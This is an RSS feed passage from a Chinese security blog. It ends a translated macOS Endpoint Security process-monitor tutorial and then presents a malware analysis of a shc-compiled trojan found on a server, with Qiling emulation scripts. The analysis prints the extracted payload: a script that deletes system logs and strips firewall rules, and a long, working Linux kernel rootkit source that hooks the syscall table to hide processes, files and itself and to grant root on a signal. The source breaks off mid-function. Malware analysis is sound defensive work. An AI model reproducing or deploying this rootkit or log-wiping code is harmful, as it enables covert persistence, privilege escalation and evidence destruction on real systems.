    NSLog(@&#34;es_new_client failed: %d&#34;, result);</code></pre><ol><li>返回值类型 <code>es_new_client_result_t</code> 表示初始化结果（成功、权限不足等）。</li></ol><p>编译时需链接 <code>libEndpointSecurity</code> 库。</p><hr /><h3 id="ding-yue-shi-jian">订阅事件</h3><pre><code class="language-objective-c" data-language="objective-c">es_event_type_t events[] = {
    ES_EVENT_TYPE_NOTIFY_EXEC,
    ES_EVENT_TYPE_NOTIFY_FORK,
    ES_EVENT_TYPE_NOTIFY_EXIT
};
if (ES_RETURN_SUCCESS != es_subscribe(endpointClient, events, sizeof(events)/sizeof(events[0])))
    NSLog(@&#34;es_subscribe failed&#34;);</code></pre><ul><li><code>ES_EVENT_TYPE_AUTH_*</code> 事件需响应才能继续（可拦截）。</li><li><code>ES_EVENT_TYPE_NOTIFY_*</code> 仅通知。</li></ul><p>本例只使用 <code>NOTIFY_*</code> 型事件来被动监听。</p><hr /><h3 id="shi-jian-hui-diao-yu-xiao-xi-jie-gou">事件回调与消息结构</h3><p>回调接收 <code>es_message_t *message</code>，其中包含：</p><ul><li><code>process</code>：触发事件的进程；</li><li><code>event_type</code>：事件类型；</li><li><code>event</code>：事件数据联合体。</li></ul><p>根据事件类型提取目标进程：</p><pre><code class="language-objective-c" data-language="objective-c">es_process_t *process = NULL;
switch (message-&gt;event_type) {
case ES_EVENT_TYPE_NOTIFY_EXEC:
    process = message-&gt;event.exec.target; break;
case ES_EVENT_TYPE_NOTIFY_FORK:
    process = message-&gt;event.fork.child; break;
case ES_EVENT_TYPE_NOTIFY_EXIT:
    process = message-&gt;process; break;
}</code></pre><hr /><h3 id="jie-xi-esprocesst">解析 <code>es_process_t</code></h3><p>结构体包含：</p><ul><li><code>audit_token</code> → 可用 <code>audit_token_to_pid()</code> 取 PID；</li><li><code>executable-&gt;path</code> → 进程路径；</li><li><code>signing_id</code>、<code>team_id</code>、<code>cdhash</code> → 签名信息；</li><li><code>codesigning_flags</code> → 签名标志位。</li></ul><p>路径类型为 <code>es_string_token_t</code> （长度 + 指针），可转为 NSString：</p><pre><code class="language-objective-c" data-language="objective-c">NSString *s = [NSString stringWithUTF8String:
    [[NSData dataWithBytes:stringToken-&gt;data length:stringToken-&gt;length] bytes]];</code></pre><hr /><h3 id="ti-qu-jin-cheng-can-shu">提取进程参数</h3><p>在 <code>ES_EVENT_TYPE_NOTIFY_EXEC</code> 事件中，参数位于 <code>message-&gt;event.exec.args</code> 中，需用 <code>es_exec_arg_count</code> 和 <code>es_exec_arg</code> 函数解析：</p><pre><code class="language-objective-c" data-language="objective-c">for (uint32_t i = 0; i &lt; es_exec_arg_count(&amp;event-&gt;exec); i++) {
    es_string_token_t arg = es_exec_arg(&amp;event-&gt;exec, i);
    NSString *argument = convertStringToken(&amp;arg);
    [self.arguments addObject:argument];
}</code></pre><hr /><h3 id="ti-qu-qian-ming-xin-xi">提取签名信息</h3><pre><code class="language-objective-c" data-language="objective-c">self.signingInfo[@&#34;flags&#34;] = @(process-&gt;codesigning_flags);
self.signingInfo[@&#34;signing_id&#34;] = convertStringToken(&amp;process-&gt;signing_id);
self.signingInfo[@&#34;team_id&#34;] = convertStringToken(&amp;process-&gt;team_id);
self.signingInfo[@&#34;is_platform_binary&#34;] = @(process-&gt;is_platform_binary);
NSMutableString *cdHash = [NSMutableString string];
for (int i=0; i&lt;CS_CDHASH_LEN; i++) [cdHash appendFormat:@&#34;%X&#34;, process-&gt;cdhash[i]];
self.signingInfo[@&#34;cdhash&#34;] = cdHash;</code></pre><hr /><h3 id="chu-li-tui-chu-shi-jian">处理退出事件</h3><p><code>ES_EVENT_TYPE_NOTIFY_EXIT</code> 事件结构为：</p><pre><code class="language-c" data-language="c">typedef struct {
    int stat;
    uint8_t reserved[64];
} es_event_exit_t;</code></pre><p>可直接取 <code>message-&gt;event.exit.stat</code> 作为退出码。</p><hr /><h3 id="process-monitor-ku-feng-zhuang">Process Monitor 库封装</h3><p>Wardle 将上述逻辑封装成开源库 <code>libProcessMonitor.a</code>，项目中只需：</p><ol><li>引入头文件 <code>ProcessMonitor.h</code>；</li><li>链接 <code>libbsm</code> 和 <code>libEndpointSecurity</code>；</li><li>添加 ES Entitlement；</li><li>实例化并启动监控：</li></ol><pre><code class="language-objective-c" data-language="objective-c">ProcessMonitor *procMon = [[ProcessMonitor alloc] init];
ProcessCallbackBlock block = ^(Process *process) {
    switch (process.event) {
        case ES_EVENT_TYPE_NOTIFY_EXEC: NSLog(@&#34;EXEC&#34;); break;
        case ES_EVENT_TYPE_NOTIFY_FORK: NSLog(@&#34;FORK&#34;); break;
        case ES_EVENT_TYPE_NOTIFY_EXIT: NSLog(@&#34;EXIT&#34;); break;
    }
    NSLog(@&#34;%@&#34;, process);
};
[procMon start:block];
[[NSRunLoop currentRunLoop] run];</code></pre><p>输出示例：</p><pre><code class="language-text" data-language="text">PROCESS EXEC (&#39;ES_EVENT_TYPE_NOTIFY_EXEC&#39;)
pid: 7655
path: /bin/ls
uid: 501
args: (ls, &#34;-lart&#34;, &#34;.&#34;)
signing info: { cdHash = 5180A360C9..., signatureIdentifier = &#34;com.apple.ls&#34; }

PROCESS EXIT (&#39;ES_EVENT_TYPE_NOTIFY_EXIT&#39;)
pid: 7655
exit code: 0</code></pre><hr /><h3 id="zong-jie">总结</h3><p>在 macOS 10.15 以前，编写用户态进程监视器复杂且局限。</p><p>新的 <strong>Endpoint Security Framework</strong> 极大简化了实现流程：</p><ol><li>调用 <code>es_new_client</code> 与 <code>es_subscribe</code> 建立客户端并订阅事件；</li><li>监听 <code>ES_EVENT_TYPE_NOTIFY_EXEC/FORK/EXIT</code> 即可捕获进程创建与终止；</li><li>从 <code>es_process_t</code> 解析 PID、路径、参数及签名信息。</li></ol><p>该框架使得用户态安全工具开发更为高效与安全。</p><hr /><blockquote>原文与示例代码版权归 Patrick Wardle 与 Objective-See 所有，译文仅供学习参考。</blockquote>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ji-shu">技术</category>
            <category domain="https://nvme0n1p.dev/cats/security-tech">安全技术</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/writing-a-process-monitor-with-apple-s-endpoint-security-framework.png" />
        </item>
        <item>
            <title><![CDATA[恶意木马分析]]></title>
            <link>https://nvme0n1p.dev/posts/evil-troy</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/evil-troy</guid>
            <pubDate>Fri, 31 Oct 2025 04:51:12 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<blockquote>💡 </blockquote><blockquote>友：谁家好人在我服务器里放这个😡</blockquote><figure><img src="https://cdn.nvme0n1p.dev/2026/07/52d8b07e2945e5302c1caafbc5e87008.webp" width="704" height="55" /></figure><blockquote>我：发来玩玩</blockquote><p>样本<code>sha256sum： 54d60fd58d7fa3475fa123985bfc1594df26da25c1f5fbc7dfdba15876dd8ac5</code></p><p>查一下好像不少分析了。但是还是试试好不好玩？</p><p>快速看一下没加壳，所以直接丢ida里。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/4ab8964b7db7c1e81b4fbc84f7f41050.webp" width="981" height="420" /></figure><p> 可以找到逻辑在上面的main_logic里面。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/1b2e1b81edba19a4b810ad67fe4e6c52.webp" width="861" height="967" /></figure><p>注意到sub_400BC5是从.data段拿出很多东西，根据长度解密。且第一次运行了sub_400AE3。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/3406cd0fc867ec1079802266702d5264.webp" width="764" height="395" /></figure><p>看一眼像是rc4的ksa？</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/782985298e9377c928e73b50a3b21cef.webp" width="839" height="333" /></figure><p>这个是prng，rc4没跑了</p><p>可以注意到这里用了execvp</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/9248365f415ccecc165f685f9ff557de.webp" width="878" height="1118" /></figure><p>考虑直接hook最后这里。</p><p>再大概看了下还有这样的一个函数用来检查environment，然后决定下面的执行流程：</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/bba95a88c339b7c197211c3eb982056e.webp" width="1600" height="1140" /></figure><p>分析到这里大概可以知道，run ⇒ checkenv ⇒ execvp。所以考虑hook掉这几个syscall，观察参数。</p><p>直接在物理机运行这个文件会对系统造成损坏，我们用“qiling“模拟执行。注意到这里我们需要下载它给的rootfs（或者其实是glibc）</p><pre><code class="language-python" data-language="python">from sys import argv
from qiling import Qiling
from capstone import Cs
from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE, QL_INTERCEPT
from qiling.os.const import STRING, POINTER
from colorama import Fore, Style, init
binary_path = &#34;target&#34;
rootfs = &#34;./rootfs/x8664_linux&#34;
ql = Qiling(
    [binary_path],
    rootfs,
    archtype=QL_ARCH.X8664,
    ostype=QL_OS.LINUX,
    verbose=QL_VERBOSE.OFF,
)

def ql_hook_execvp(ql):
    params = ql.os.resolve_fcall_params({&#39;file&#39;: STRING, &#39;argv&#39;: POINTER})
    print(f&#34;{Fore.CYAN}[*] execvp{Style.RESET_ALL}(&#39;{Fore.YELLOW}{params[&#39;file&#39;]}{Style.RESET_ALL}&#39;&#34;, end=&#34;&#34;)
    argv_ptr = params[&#34;argv&#34;]

    if argv_ptr:
        i = 0
        while True:
            arg_ptr = ql.mem.read_ptr(argv_ptr + i * ql.arch.pointersize)
            if arg_ptr == 0:
                break
            arg_str = ql.os.utils.read_cstring(arg_ptr)
            print(f&#34;, {Fore.GREEN}\&#34;{arg_str}\&#34;{Style.RESET_ALL}&#34;, end=&#34;&#34;)
            i += 1
        print(&#34;)&#34;)
    return 0
def ql_hook_getenv(ql):
    params = ql.os.resolve_fcall_params({&#39;name&#39;: STRING})
    name = params[&#39;name&#39;]
    print(f&#34;{Fore.YELLOW}[*] getenv(&#39;{name}&#39;){Style.RESET_ALL}&#34;)
    ql.arch.regs.rax = 0 # return 0

def ql_hook_putenv(ql):
    params = ql.os.resolve_fcall_params({&#39;name&#39;: STRING})
    name = params[&#39;name&#39;]
    print(f&#34;{Fore.YELLOW}[*] putenv(&#39;{name}&#39;){Style.RESET_ALL}&#34;)
    ql.arch.regs.rax = 0 # return 0


ql.os.set_api(&#34;execvp&#34;, ql_hook_execvp)
ql.os.set_api(&#34;getenv&#34;, ql_hook_getenv)
ql.os.set_api(&#34;putenv&#34;, ql_hook_putenv)
ql.run()
</code></pre><p>运行后可以看到，它设置里环境变量，而后重启了一次。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/af7701fb2d1f151845482e9bf4a52b49.webp" width="1118" height="146" /></figure><p>所以模拟一下环境变量，底下运行参数带上：</p><pre><code class="language-python" data-language="python">from sys import argv
from qiling import Qiling
from capstone import Cs
from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE, QL_INTERCEPT
from qiling.os.const import STRING, POINTER
from colorama import Fore, Style, init
binary_path = &#34;target&#34;
rootfs = &#34;./rootfs/x8664_linux&#34;


env_storage = {}
_ENV_ARENA_BASE = None
_ENV_ARENA_SIZE = 0x10000
_ENV_ARENA_NEXT = 0


def _env_alloc(ql, size: int) -&gt; int:
    global _ENV_ARENA_BASE, _ENV_ARENA_NEXT
    size = (size + 7) &amp; ~7
    if _ENV_ARENA_BASE is None:
        base = 0x55550000
        ql.mem.map(base, _ENV_ARENA_SIZE, 3)
        _ENV_ARENA_BASE = base
        _ENV_ARENA_NEXT = 0
    if _ENV_ARENA_NEXT + size &gt; _ENV_ARENA_SIZE:
        new_base = _ENV_ARENA_BASE + _ENV_ARENA_SIZE
        ql.mem.map(new_base, _ENV_ARENA_SIZE, 3)
        _ENV_ARENA_BASE = new_base
        _ENV_ARENA_NEXT = 0
    addr = _ENV_ARENA_BASE + _ENV_ARENA_NEXT
    _ENV_ARENA_NEXT += size
    return addr


init(autoreset=True)
def ql_hook_execvp(ql):
    params = ql.os.resolve_fcall_params({&#39;file&#39;: STRING, &#39;argv&#39;: POINTER})
    print(f&#34;{Fore.CYAN}[*] execvp{Style.RESET_ALL}(&#39;{Fore.YELLOW}{params[&#39;file&#39;]}{Style.RESET_ALL}&#39;&#34;, end=&#34;&#34;)
    argv_ptr = params[&#34;argv&#34;]

    if argv_ptr:
        i = 0
        while True:
            arg_ptr = ql.mem.read_ptr(argv_ptr + i * ql.arch.pointersize)
            if arg_ptr == 0:
                break
            arg_str = ql.os.utils.read_cstring(arg_ptr)
            print(f&#34;, {Fore.GREEN}\&#34;{arg_str}\&#34;{Style.RESET_ALL}&#34;, end=&#34;&#34;)
            i += 1
        print(&#34;)&#34;)
    return 0
def ql_hook_getenv(ql):
    params = ql.os.resolve_fcall_params({&#39;name&#39;: STRING})
    name = params[&#39;name&#39;]
    print(f&#34;{Fore.YELLOW}[*] getenv(&#39;{name}&#39;){Style.RESET_ALL}&#34;)
    ql.arch.regs.rax = 0 # return 0

    if name in env:
        value = env[name]
        value_bytes = value.encode() + b&#39;\x00&#39;
        cached = env_storage.get(name)
        if cached and len(value_bytes) &lt;= cached[1]:
            cstr_addr = cached[0]
        else:
            cstr_addr = _env_alloc(ql, len(value_bytes))
            env_storage[name] = (cstr_addr, len(value_bytes))
        ql.mem.write(cstr_addr, value_bytes)
        ql.arch.regs.rax = cstr_addr
        print(f&#34; -&gt; &#39;{value}&#39;&#34;)
    else:
        ql.arch.regs.rax = 0
        print(&#34; -&gt; NULL&#34;)

def ql_hook_putenv(ql):
    params = ql.os.resolve_fcall_params({&#39;name&#39;: STRING})
    name = params[&#39;name&#39;]
    print(f&#34;{Fore.YELLOW}[*] putenv(&#39;{name}&#39;){Style.RESET_ALL}&#34;, end=&#34;&#34;)
    ql.arch.regs.rax = 0 # return 0




ql = Qiling(
    [binary_path, &#34;-c&#34;, f&#34;exec &#39;{binary_path}&#39; \&#34;$@\&#34;&#34;, binary_path],
    rootfs,
    archtype=QL_ARCH.X8664,
    ostype=QL_OS.LINUX,
    verbose=QL_VERBOSE.OFF,
)
env = {&#34;x286b700fc2c16ba1&#34;: &#34;2912544797019433889 4&#34;}

ql.os.set_api(&#34;execvp&#34;, ql_hook_execvp)
ql.os.set_api(&#34;getenv&#34;, ql_hook_getenv)
ql.os.set_api(&#34;putenv&#34;, ql_hook_putenv)
ql.run()
</code></pre><p>后面搜索之后发现这玩意是shc编译的。</p><p>于是搓了个妙妙脚本，适配了所有的shc版本，只要glibc版本是对的就能用（？</p><p>可以extract出来脚本，这里分开写，不然没高亮了。</p><pre><code class="language-shell" data-language="shell">rm -rf /var/www/html/config.json
rm -rf /root/.xmrig.json
rm -rf /root/.config/xmrig.json
rm -rf /var/log/messages*
rm -rf /var/log/secure*
rm -rf /var/log/auth.log*
rm -rf /var/log/syslog*
# 删除操作痕迹
echo &#34;fs.file-max = 2097152&#34; &gt; /etc/sysctl.conf
sysctl -p
ulimit -SHn 1024000
# 修改系统限制（文件系统描述符数量）
mv /usr/sbin/tokens /usr/sbin/iptables 2&gt;/dev/null 1&gt;/dev/null&amp;
mv /sbin/tokens /sbin/iptables 2&gt;/dev/null 1&gt;/dev/null&amp;
sleep 1
# 看不懂？
iptables -L INPUT -v -n | grep 138.68 | awk &#39;{print $8}&#39; | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 67.207 | awk &#39;{print $8}&#39; | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 46.101 | awk &#39;{print $8}&#39; | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 157.245 | awk &#39;{print $8}&#39; | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 146.190 | awk &#39;{print $8}&#39; | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 144.126 | awk &#39;{print $8}&#39; | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 167.172 | awk &#39;{print $8}&#39; | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 172.104 | awk &#39;{print $8}&#39; | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 172.105 | awk &#39;{print $8}&#39; | xargs -rL1 iptables -D INPUT -j DROP -s
# 丢掉系统中部分关于特定ip的防火墙规则
mv /usr/sbin/iptables /usr/sbin/tokens 2&gt;/dev/null 1&gt;/dev/null&amp;
mv /sbin/iptables /sbin/tokens 2&gt;/dev/null 1&gt;/dev/null&amp;
# 还是不懂，和刚刚那段一样
hhide=$1
if [ -z &#34;$1&#34; ]; then
  hhide=&#34;ad12e85f&#34;
else
  hhide=&#34;$1&#34;
fi</code></pre><p>然后做了一个文件：</p><pre><code class="language-c" data-language="c">#include &lt;linux/sched.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/syscalls.h&gt;
#include &lt;linux/dirent.h&gt;
#include &lt;linux/slab.h&gt;
#include &lt;linux/version.h&gt;

#if LINUX_VERSION_CODE &lt; KERNEL_VERSION(4, 13, 0)
#include &lt;asm/uaccess.h&gt;
#endif

#if LINUX_VERSION_CODE &gt;= KERNEL_VERSION(3, 10, 0)
#include &lt;linux/proc_ns.h&gt;
#else
#include &lt;linux/proc_fs.h&gt;
#endif

#if LINUX_VERSION_CODE &lt; KERNEL_VERSION(2, 6, 26)
#include &lt;linux/file.h&gt;
#else
#include &lt;linux/fdtable.h&gt;
#endif

#if LINUX_VERSION_CODE &lt;= KERNEL_VERSION(2, 6, 18)
#include &lt;linux/unistd.h&gt;
#endif

#ifndef __NR_getdents
#define __NR_getdents 141
#endif

#include &#34;iptable_reject.h&#34;

#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
unsigned long cr0;
#elif IS_ENABLED(CONFIG_ARM64)
void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot);
unsigned long start_rodata;
unsigned long init_begin;
#define section_size init_begin - start_rodata
#endif
static unsigned long *__sys_call_table;
#if LINUX_VERSION_CODE &gt; KERNEL_VERSION(4, 16, 0)
        typedef asmlinkage long (*t_syscall)(const struct pt_regs *);
        static t_syscall orig_getdents;
        static t_syscall orig_getdents64;
        static t_syscall orig_kill;
#else
        typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,
                unsigned int);
        typedef asmlinkage int (*orig_getdents64_t)(unsigned int,
                struct linux_dirent64 *, unsigned int);
        typedef asmlinkage int (*orig_kill_t)(pid_t, int);
        orig_getdents_t orig_getdents;
        orig_getdents64_t orig_getdents64;
        orig_kill_t orig_kill;
#endif

unsigned long *
get_syscall_table_bf(void)
{
        unsigned long *syscall_table;

#if LINUX_VERSION_CODE &gt; KERNEL_VERSION(4, 4, 0)
#ifdef KPROBE_LOOKUP
        typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
        kallsyms_lookup_name_t kallsyms_lookup_name;
        register_kprobe(&amp;kp);
        kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
        unregister_kprobe(&amp;kp);
#endif
        syscall_table = (unsigned long*)kallsyms_lookup_name(&#34;sys_call_table&#34;);
        return syscall_table;
#else
        unsigned long int i;

        for (i = (unsigned long int)sys_close; i &lt; ULONG_MAX;
                        i += sizeof(void *)) {
                syscall_table = (unsigned long *)i;

                if (syscall_table[__NR_close] == (unsigned long)sys_close)
                        return syscall_table;
        }
        return NULL;
#endif
}

struct task_struct *
find_task(pid_t pid)
{
        struct task_struct *p = current;
        for_each_process(p) {
                if (p-&gt;pid == pid)
                        return p;
        }
        return NULL;
}

int
is_invisible(pid_t pid)
{
        struct task_struct *task;
        if (!pid)
                return 0;
        task = find_task(pid);
        if (!task)
                return 0;
        if (task-&gt;flags &amp; PF_INVISIBLE)
                return 1;
        return 0;
}

#if LINUX_VERSION_CODE &gt; KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        int fd = (int) pt_regs-&gt;di;
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs-&gt;si;
#elif IS_ENABLED(CONFIG_ARM64)
        int fd = (int) pt_regs-&gt;regs[0];
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs-&gt;regs[1];
#endif
        int ret = orig_getdents64(pt_regs), err;
#else
asmlinkage int
hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,
        unsigned int count)
{
        int ret = orig_getdents64(fd, dirent, count), err;
#endif
        unsigned short proc = 0;
        unsigned long off = 0;
        struct linux_dirent64 *dir, *kdirent, *prev = NULL;
        struct inode *d_inode;

        if (ret &lt;= 0)
                return ret;

        kdirent = kzalloc(ret, GFP_KERNEL);
        if (kdirent == NULL)
                return ret;

        err = copy_from_user(kdirent, dirent, ret);
        if (err)
                goto out;

#if LINUX_VERSION_CODE &lt; KERNEL_VERSION(3, 19, 0)
        d_inode = current-&gt;files-&gt;fdt-&gt;fd[fd]-&gt;f_dentry-&gt;d_inode;
#else
        d_inode = current-&gt;files-&gt;fdt-&gt;fd[fd]-&gt;f_path.dentry-&gt;d_inode;
#endif
        if (d_inode-&gt;i_ino == PROC_ROOT_INO &amp;&amp; !MAJOR(d_inode-&gt;i_rdev)
                /*&amp;&amp; MINOR(d_inode-&gt;i_rdev) == 1*/)
                proc = 1;

        while (off &lt; ret) {
                dir = (void *)kdirent + off;
                if ((!proc &amp;&amp;
                (memcmp(MAGIC_PREFIX, dir-&gt;d_name, strlen(MAGIC_PREFIX)) == 0))
                || (proc &amp;&amp;
                is_invisible(simple_strtoul(dir-&gt;d_name, NULL, 10)))) {
                        if (dir == kdirent) {
                                ret -= dir-&gt;d_reclen;
                                memmove(dir, (void *)dir + dir-&gt;d_reclen, ret);
                                continue;
                        }
                        prev-&gt;d_reclen += dir-&gt;d_reclen;
                } else
                        prev = dir;
                off += dir-&gt;d_reclen;
        }
        err = copy_to_user(dirent, kdirent, ret);
        if (err)
                goto out;
out:
        kfree(kdirent);
        return ret;
}

#if LINUX_VERSION_CODE &gt; KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        int fd = (int) pt_regs-&gt;di;
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs-&gt;si;
#elif IS_ENABLED(CONFIG_ARM64)
                int fd = (int) pt_regs-&gt;regs[0];
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs-&gt;regs[1];
#endif
        int ret = orig_getdents(pt_regs), err;
#else
asmlinkage int
hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent,
        unsigned int count)
{
        int ret = orig_getdents(fd, dirent, count), err;
#endif
        unsigned short proc = 0;
        unsigned long off = 0;
        struct linux_dirent *dir, *kdirent, *prev = NULL;
        struct inode *d_inode;

        if (ret &lt;= 0)
                return ret;

        kdirent = kzalloc(ret, GFP_KERNEL);
        if (kdirent == NULL)
                return ret;

        err = copy_from_user(kdirent, dirent, ret);
        if (err)
                goto out;

#if LINUX_VERSION_CODE &lt; KERNEL_VERSION(3, 19, 0)
        d_inode = current-&gt;files-&gt;fdt-&gt;fd[fd]-&gt;f_dentry-&gt;d_inode;
#else
        d_inode = current-&gt;files-&gt;fdt-&gt;fd[fd]-&gt;f_path.dentry-&gt;d_inode;
#endif

        if (d_inode-&gt;i_ino == PROC_ROOT_INO &amp;&amp; !MAJOR(d_inode-&gt;i_rdev)
                /*&amp;&amp; MINOR(d_inode-&gt;i_rdev) == 1*/)
                proc = 1;

        while (off &lt; ret) {
                dir = (void *)kdirent + off;
                if ((!proc &amp;&amp;
                (memcmp(MAGIC_PREFIX, dir-&gt;d_name, strlen(MAGIC_PREFIX)) == 0))
                || (proc &amp;&amp;
                is_invisible(simple_strtoul(dir-&gt;d_name, NULL, 10)))) {
                        if (dir == kdirent) {
                                ret -= dir-&gt;d_reclen;
                                memmove(dir, (void *)dir + dir-&gt;d_reclen, ret);
                                continue;
                        }
                        prev-&gt;d_reclen += dir-&gt;d_reclen;
                } else
                        prev = dir;
                off += dir-&gt;d_reclen;
        }
        err = copy_to_user(dirent, kdirent, ret);
        if (err)
                goto out;
out:
        kfree(kdirent);
        return ret;
}

void
give_root(void)
{
        #if LINUX_VERSION_CODE &lt; KERNEL_VERSION(2, 6, 29)
                current-&gt;uid = current-&gt;gid = 0;
                current-&gt;euid = current-&gt;egid = 0;
                current-&gt;suid = current-&gt;sgid = 0;
                current-&gt;fsuid = current-&gt;fsgid = 0;
        #else
                struct cred *newcreds;
                newcreds = prepare_creds();
                if (newcreds == NULL)
                        return;
                #if LINUX_VERSION_CODE &gt;= KERNEL_VERSION(3, 5, 0)                         &amp;&amp; defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS)                         || LINUX_VERSION_CODE &gt;= KERNEL_VERSION(3, 14, 0)
                        newcreds-&gt;uid.val = newcreds-&gt;gid.val = 0;
                        newcreds-&gt;euid.val = newcreds-&gt;egid.val = 0;
                        newcreds-&gt;suid.val = newcreds-&gt;sgid.val = 0;
                        newcreds-&gt;fsuid.val = newcreds-&gt;fsgid.val = 0;
                #else
                        newcreds-&gt;uid = newcreds-&gt;gid = 0;
                        newcreds-&gt;euid = newcreds-&gt;egid = 0;
                        newcreds-&gt;suid = newcreds-&gt;sgid = 0;
                        newcreds-&gt;fsuid = newcreds-&gt;fsgid = 0;
                #endif
                commit_creds(newcreds);
        #endif
}

static inline void
tidy(void)
{
        kfree(THIS_MODULE-&gt;sect_attrs);
        THIS_MODULE-&gt;sect_attrs = NULL;
}

static struct list_head *module_previous;
static short module_hidden = 0;
void
module_show(void)
{
        list_add(&amp;THIS_MODULE-&gt;list, module_previous);
        module_hidden = 0;
}

void
module_hide(void)
{
        module_previous = THIS_MODULE-&gt;list.prev;
        list_del(&amp;THIS_MODULE-&gt;list);
        module_hidden = 1;
}

#if LINUX_VERSION_CODE &gt; KERNEL_VERSION(4, 16, 0)
asmlinkage int
hacked_kill(const struct pt_regs *pt_regs)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        pid_t pid = (pid_t) pt_regs-&gt;di;
        int sig = (int) pt_regs-&gt;si;
#elif IS_ENABLED(CONFIG_ARM64)
        pid_t pid = (pid_t) pt_regs-&gt;regs[0];
        int sig = (int) pt_regs-&gt;regs[1];
#endif
#else
asmlinkage int
hacked_kill(pid_t pid, int sig)
{
#endif
        struct task_struct *task;
        switch (sig) {
                case SIGINVIS:
                        if ((task = find_task(pid)) == NULL)
                                return -ESRCH;
                        task-&gt;flags ^= PF_INVISIBLE;
                        break;
                case SIGSUPER:
                        give_root();
                        break;
                case SIGMODINVIS:
                        if (module_hidden) module_show();
                        else module_hide();
                        break;
                default:
#if LINUX_VERSION_CODE &gt; KERNEL_VERSION(4, 16, 0)
                        return orig_kill(pt_regs);
#else
                        return orig_kill(pid, sig);
#endif
        }
        return 0;
}

#if LINUX_VERSION_CODE &gt; KERNEL_VERSION(4, 16, 0)
static inline void
write_cr0_forced(unsigned long val)
{
        unsigned long __force_order;

        asm volatile(
                &#34;mov %0, %%cr0&#34;
                : &#34;+r&#34;(val), &#34;+m&#34;(__force_order));
}
#endif

static inline void
protect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE &gt; KERNEL_VERSION(4, 16, 0)
        write_cr0_forced(cr0);
#else
        write_cr0(cr0);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
                        section_size, PAGE_KERNEL_RO);

#endif
}

static inline void
unprotect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE &gt; KERNEL_VERSION(4, 16, 0)
        write_cr0_forced(cr0 &amp; ~0x00010000);
#else
        write_cr0(cr0 &amp; ~0x00010000);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
                        section_size, PAGE_KERNEL);
#endif
}

static int __init
iptable_reject_init(void)
{
        __sys_call_table = get_syscall_table_bf();
        if (!__sys_call_table)
                return -1;

#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        cr0 = read_cr0();
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot = (void *)kallsyms_lookup_name(&#34;update_mapping_prot&#34;);
        start_rodata = (unsigned long)kallsyms_lookup_name(&#34;__start_rodata&#34;);
        init_begin = (unsigned long)kallsyms_lookup_name(&#34;__init_begin&#34;);
#endif

        module_hide();
        tidy();

#if LINUX_VERSION_CODE &gt; KERNEL_VERSION(4, 16, 0)
        orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
        orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
        orig_kill = (t_syscall)__sys_call_table[__NR_kill];
#else
        orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
        orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
        orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
#endif

        unprotect_memory();

        __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
        __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
        __sys_call_table[__NR_kill] = (unsigned long) hacked_kill;

        protect_memory();

        return 0;
}

static void __exit
iptable_reject_cleanup(void)
{
        unprotect_memory();

        __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;
